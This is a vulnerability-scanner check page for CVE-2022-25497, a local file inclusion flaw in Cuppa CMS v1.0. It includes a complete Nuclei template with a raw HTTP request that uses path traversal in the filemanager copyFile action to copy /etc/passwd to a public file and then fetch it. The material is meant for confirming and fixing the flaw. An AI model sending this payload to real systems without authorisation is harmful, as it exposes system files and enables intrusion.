Cuppa CMS v1.0 - Local File Inclusion

mediumseverity

5.3CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: POST /js/filemanager/api/index.php ; GET /{{randstr}}.txt
Positive when: contains in header_2 "text/plain" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-25497 -u <target>

The full check

id: CVE-2022-25497

info:
  name: Cuppa CMS v1.0 - Local File Inclusion
  author: theamanrawat
  severity: medium
  description: |
    CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25497
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-25497
    cwe-id: CWE-552
    epss-score: 0.03642
    epss-percentile: 0.8967
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,intrusive,cuppacms,vuln,vkev

http:
  - raw:
      - |
        POST /js/filemanager/api/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../{{randstr}}.txt","action":"copyFile"}
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - text/plain

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from